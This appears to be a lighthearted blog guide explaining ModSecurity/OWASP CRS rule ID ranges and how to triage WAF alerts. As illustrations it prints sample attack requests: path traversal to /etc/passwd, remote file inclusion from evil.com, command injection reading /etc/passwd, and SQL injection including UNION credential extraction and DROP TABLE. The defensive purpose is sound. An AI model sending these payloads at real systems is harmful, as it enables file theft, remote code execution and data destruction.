ModSecurity Rules Explained: A Field Guide to WAF Rule IDs

Introduction: The Cryptic World of Rule IDs

You’re staring at your shiny new ModSecurity dashboard. Everything looks great until you see entries like:

Rule: 941100
Rule: 920350
Rule: 932130

And you think: “What in the seven layers of the OSI model does that mean?”

Fear not, fellow security enthusiast. This guide will turn those cryptic numbers into actionable knowledge. By the end, you’ll be reading rule IDs like a security sommelier reads wine labels.

The OWASP Core Rule Set (CRS) Numbering System

The OWASP CRS uses a clever numbering system. The first three digits tell you the category of the rule:

Let’s dive deep into each category.

913xxx – Scanner Detection 🤖

“I know you’re a bot, and you know I know”

These rules detect automated scanning tools, vulnerability scanners, and web crawlers with malicious intent.

Why you see these: Someone is probing your site with automated tools. Could be a legitimate security researcher, a script kiddie, or your own forgotten pentest.

Pro tip: Rule 913100 catches tools that are too lazy to change their User-Agent. The smart attackers spoof it, so don’t rely solely on this.

920xxx – Protocol Enforcement 📋

“That’s not how HTTP works, buddy”

These rules enforce HTTP protocol standards. Violations often indicate malformed requests from bots or attack tools.

Most common offenders:

• 920350 – Bots accessing by IP instead of hostname
• 920280 – Broken HTTP clients or very old tools
• 920320 – Scripts that don’t set User-Agent

930xxx – Local File Inclusion (LFI) 📁

“Nice try accessing /etc/passwd”

These rules catch attempts to read local files through path traversal.

The classic attack:

GET /download.php?file=../../../../etc/passwd HTTP/1.1

Why this is bad: If your app doesn’t validate file paths, attackers can read any file on the server. Database configs, SSH keys, you name it.

931xxx – Remote File Inclusion (RFI) 🌐

“No, I won’t include your malicious PHP file”

The attack:

GET /index.php?page=http://evil.com/backdoor.txt HTTP/1.1

If your PHP code does include($_GET['page']), you’re having a very bad day.

932xxx – Remote Code Execution (RCE) 💀

“The ‘game over’ category”

These are the big scary ones. RCE means an attacker can run arbitrary commands on your server.

The classic:

GET /ping.php?host=127.0.0.1;cat+/etc/passwd HTTP/1.1

If you see 932xxx alerts frequently: Either you’re under active attack, or your application has some interesting input handling.

933xxx – PHP Injection 🐘

“PHP: Making life interesting since 1994”

941xxx – Cross-Site Scripting (XSS) 🎭

“JavaScript where it shouldn’t be”

Fun fact: 941360 catches JSFuck, which encodes JavaScript using only []()!+. Because apparently that’s a thing people do.

942xxx – SQL Injection (SQLi) 💉

“Bobby Tables strikes again”

The classic:

' OR '1'='1' --
' UNION SELECT username, password FROM users --
'; DROP TABLE users; --

943xxx – Session Fixation 🔐

“Identity theft, HTTP edition”

944xxx – Java Attacks ☕

“Enterprise vulnerabilities for enterprise applications”

Note: 944120 is the Log4Shell detection. If you see this in 2024+, someone is still trying that attack. It worked very well in December 2021.

Paranoia Levels 🎚️

CRS rules have “Paranoia Levels” (PL1-PL4):

Higher paranoia = more detection = more false positives. Choose wisely.

Quick Reference Card

913xxx = Scanner Detection    "I see you, Nikto"
920xxx = Protocol Issues      "That's not valid HTTP"
930xxx = Local File Include   "No reading /etc/passwd"
931xxx = Remote File Include  "No including evil.com/shell.php"
932xxx = Remote Code Exec     "No running commands"
933xxx = PHP Injection        "No injecting PHP"
941xxx = XSS                  "No JavaScript injection"
942xxx = SQL Injection        "Bobby Tables detected"
943xxx = Session Fixation     "No stealing sessions"
944xxx = Java Attacks         "No Log4Shell for you"

What To Do When You See Alerts

1. Single alert, random IP: Probably automated scanning. Ignore unless persistent.

2. Multiple alerts, same IP: Someone is actively probing. Consider blocking.

3. 941xxx + 942xxx combo: Classic attack pattern. They’re testing for XSS and SQLi.

4. 932xxx alerts: Take seriously. Someone wants shell access.

5. 944120 (Log4Shell): In 2024? Really? Block and move on.

6. 920xxx only: Likely a misconfigured bot or broken client, not necessarily malicious.

Conclusion

ModSecurity rules are like a security guard’s handbook – each number tells a story. Now when you see 941100 in your logs, you don’t just see a number – you see an attempted XSS attack that libinjection caught.

Use this knowledge to:

• Prioritize alerts (932xxx > 941xxx > 920xxx for severity)
• Understand attack patterns
• Fine-tune your WAF rules
• Impress your colleagues at security meetings

Remember: Every blocked attack is a story of what could have been. And thanks to your WAF (and this guide), those stories have happy endings.

Stay secure, stay curious, and may your audit logs be ever in your favor.

Happy Defending! 🛡️

Appendix: Most Common Rules You’ll See

Note: Worry levels assume the attack was blocked. If it got through… well, you have bigger problems.